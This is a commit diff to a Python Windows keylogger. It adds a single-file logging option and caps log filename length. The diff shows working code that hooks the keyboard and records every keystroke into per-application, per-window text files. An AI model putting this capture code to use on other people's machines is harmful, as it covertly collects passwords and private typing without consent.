added -o commandline option. fixed long filename bug.

nanotube [2005-09-18 06:59]
added -o commandline option. fixed long filename bug.
Filename
keylogger.pyw
logwriter.py
diff --git a/keylogger.pyw b/keylogger.pyw
index 4fd1446..0e98a29 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -12,9 +12,7 @@ class KeyLogger:
     def __init__(self):

         self.ParseOptions()
-
         self.hm = pyHook.HookManager()
-
         self.hm.KeyDown = self.OnKeyboardEvent

         if self.options.hookKeyboard == True:
@@ -22,17 +20,16 @@ class KeyLogger:
         #if self.options.hookMouse == True:
         #    self.hm.HookMouse()

-        self.lw = LogWriter(self.options.dirname, self.options.debug)
+        self.lw = LogWriter(self.options)

         pythoncom.PumpMessages()
-

     def OnKeyboardEvent(self, event):
         '''This function is the stuff that's supposed to happen when a key is pressed.
         Calls LogWriter.WriteToLogFile with the keystroke properties.
         '''

-        self.lw.WriteToLogFile(event, self.options)
+        self.lw.WriteToLogFile(event)

         if event.Key == self.options.exitKey:
             sys.exit()
@@ -43,8 +40,8 @@ class KeyLogger:
         '''Read command line options
         '''

-        parser = OptionParser(version="%prog version 0.4.2")
-        parser.add_option("-f", "--file", action="store", dest="dirname", help="write log data to DIRNAME [default: %default]")
+        parser = OptionParser(version="%prog version 0.6.0")
+        parser.add_option("-f", "--file", action="store", dest="dirName", help="write log data to DIRNAME [default: %default]")
         parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]")
         parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]")
         parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]")
@@ -55,8 +52,9 @@ class KeyLogger:
         parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")

         parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]")
+        parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]")

-        parser.set_defaults(dirname=r"C:\Temp\logdir",
+        parser.set_defaults(dirName=r"C:\Temp\logdir",
                             hookKeyboard=True,
                             addLineFeed=False,
                             parseBackspace=False,
@@ -64,10 +62,11 @@ class KeyLogger:
                             exitKey='F12',
                             flushKey='F11',
                             debug=False,
-                            noLog=None)
+                            noLog=None,
+                            oneFile=None)

         (self.options, args) = parser.parse_args()
-
+
 if __name__ == '__main__':
     kl = KeyLogger()

diff --git a/logwriter.py b/logwriter.py
index d022f34..826dd1e 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -7,14 +7,15 @@ import sys

 class LogWriter:

-    def __init__(self, rootLogDir=r"C:\Temp\logdir", debug=False):
+    def __init__(self, options):

-        self.debug = debug
+        self.options = options

-        self.rootLogDir = os.path.normpath(rootLogDir)
+        #self.rootLogDir = os.path.normpath(options.dirName)
+        self.options.dirName = os.path.normpath(self.options.dirName)

         try:
-            os.makedirs(self.rootLogDir, 0777) #TODO: change this to makedirs???
+            os.makedirs(self.options.dirName, 0777)
         except OSError, detail:
             if(detail.errno==17):  #if directory already exists, swallow the error
                 pass
@@ -22,28 +23,30 @@ class LogWriter:
                 print "OSError:", detail

         self.writeTarget = ""
-        self.systemlog = open(r"C:\Temp\logdir\systemlog.txt", 'a')
+        #self.systemlog = open(os.path.join(os.path.normpath(self.options.dirName), "systemlog.txt"), 'a')

-    def WriteToLogFile(self, event, options):
-        loggable = self.OpenLogFile(event, options.noLog)
-
+    def WriteToLogFile(self, event):
+        loggable = self.TestForNoLog(event)
+
         if not loggable:                        # if the program is in the no-log list, we return without writing to log.
-            if self.debug: print "not loggable, we are outta here"
+            if self.options.debug: print "not loggable, we are outta here"
             return

-        if self.debug: print "loggable, lets log it"
+        if self.options.debug: print "loggable, lets log it"

+        self.OpenLogFile(event)
+
         asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
         asciiSubset.extend(range(32,128))      #all normal printable chars

-        if options.parseBackspace == True:
+        if self.options.parseBackspace == True:
             asciiSubset.remove(8)              #remove backspace from allowed chars if needed
-        if options.parseEscape == True:
+        if self.options.parseEscape == True:
             asciiSubset.remove(27)             #remove escape from allowed chars if needed

         if event.Ascii in asciiSubset:
             self.PrintStuff(chr(event.Ascii))
-        if event.Ascii == 13 and options.addLineFeed == True:
+        if event.Ascii == 13 and self.options.addLineFeed == True:
             self.PrintStuff(chr(10))                 #add line feed after CR,if option is set

         #we translate all the special keys, such as arrows, backspace, into text strings for logging
@@ -52,70 +55,78 @@ class LogWriter:
             self.PrintStuff('[KeyName:' + event.Key + ']')

         #translate backspace into text string, if option is set.
-        if event.Ascii == 8 and options.parseBackspace == True:
+        if event.Ascii == 8 and self.options.parseBackspace == True:
             self.PrintStuff('[KeyName:' + event.Key + ']')

         #translate escape into text string, if option is set.
-        if event.Ascii == 27 and options.parseEscape == True:
+        if event.Ascii == 27 and self.options.parseEscape == True:
             self.PrintStuff('[KeyName:' + event.Key + ']')

-        if event.Key == options.flushKey:
+        if event.Key == self.options.flushKey:
             self.log.flush()
-            self.systemlog.flush()
+        #    self.systemlog.flush()

-    def OpenLogFile(self, event, noLog):
+    def TestForNoLog(self, event):
+        '''This function returns False if the process name associated with an event
+        is listed in the noLog option, and True otherwise.'''
+
+        self.processName = self.GetProcessNameFromHwnd(event.Window)
+        if self.options.noLog != None:
+            for path in self.options.noLog:
+                if os.stat(path) == os.stat(self.processName):    #we use os.stat instead of comparing strings due to multiple possible representations of a path
+                    #if self.debug:
+                    #    print "we dont log this"
+                    return False
+        return True
+
+    def OpenLogFile(self, event):

-        filter=r"[\\\/\:\*\?\"\<\>\|]+"     #regexp filter for the non-allowed characters in windows filenames.
+        if self.options.oneFile != None:
+            if self.writeTarget == "":
+                self.writeTarget = os.path.join(os.path.normpath(self.options.dirName), os.path.normpath(self.options.oneFile))
+                self.log = open(self.writeTarget, 'a')
+            if self.options.debug: print "writing to:", self.writeTarget
+            return
+

-        subDirName = self.GetProcessNameFromHwnd(event.Window)  #our subdirname is the full path of the process owning the hwnd.
+        filter=r"[\\\/\:\*\?\"\<\>\|]+"     #regexp filter for the non-allowed characters in windows filenames.

-        if noLog != None:
-            for path in noLog:                  #check our options to make sure that we dont log specified apps.
-                if os.stat(path) == os.stat(subDirName):    #we use os.stat instead of comparing strings due to multiple possible representations of a path
-                    if self.debug:
-                        print "we dont log this"
-                    return False
-        if self.debug:
-            print "we log this"
-
-        #subDirName = re.sub(r':?\\',r'__',subDirName)
-        subDirName = re.sub(filter,r'__',subDirName)
+        subDirName = re.sub(filter,r'__',self.processName)      #our subdirname is the full path of the process owning the hwnd, filtered.

         WindowName = re.sub(filter,r'__',str(event.WindowName))

         try:
-            os.makedirs(os.path.join(self.rootLogDir, subDirName), 0777)
+            os.makedirs(os.path.join(self.options.dirName, subDirName), 0777)
         except OSError, detail:
             if(detail.errno==17):  #if directory already exists, swallow the error
                 pass
             else:
                 print "OSError:", detail

-        filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + ".txt"
+        filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName
+        filename = filename[0:200] + ".txt"     #make sure our filename is not longer than 255 characters, as per filesystem limit.

         #we do this writetarget thing to make sure we dont keep opening and closing the log file when all inputs are going
         #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
         #already-opened file.
-        if self.writeTarget != os.path.join(self.rootLogDir, subDirName, filename):
+        if self.writeTarget != os.path.join(self.options.dirName, subDirName, filename):
             if self.writeTarget != "":
-                if self.debug:
+                if self.options.debug:
                     print "flushing and closing old log"
-                self.systemlog.write("flushing and closing old log\n")
+                #self.systemlog.write("flushing and closing old log\n")
                 self.log.flush()
                 self.log.close()
-            self.writeTarget = os.path.join(self.rootLogDir, subDirName, filename)
-            if self.debug:
+            self.writeTarget = os.path.join(self.options.dirName, subDirName, filename)
+            if self.options.debug:
                 print "writeTarget:",self.writeTarget
-            self.systemlog.write("writeTarget: " + self.writeTarget + "\n")
+            #self.systemlog.write("writeTarget: " + self.writeTarget + "\n")

             self.log = open(self.writeTarget, 'a')
-
-        return True

     def PrintStuff(self, stuff):
-        if self.debug == False:
+        if not self.options.debug:
             self.log.write(stuff)
-            self.systemlog.write(stuff)
+            #self.systemlog.write(stuff)
         else:
             sys.stdout.write(stuff)

@@ -123,7 +134,6 @@ class LogWriter:
     def GetProcessNameFromHwnd(self, hwnd):

         threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
-        #if self.debug: print "(threadid, processid)", threadpid, procpid

         # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
ViewGit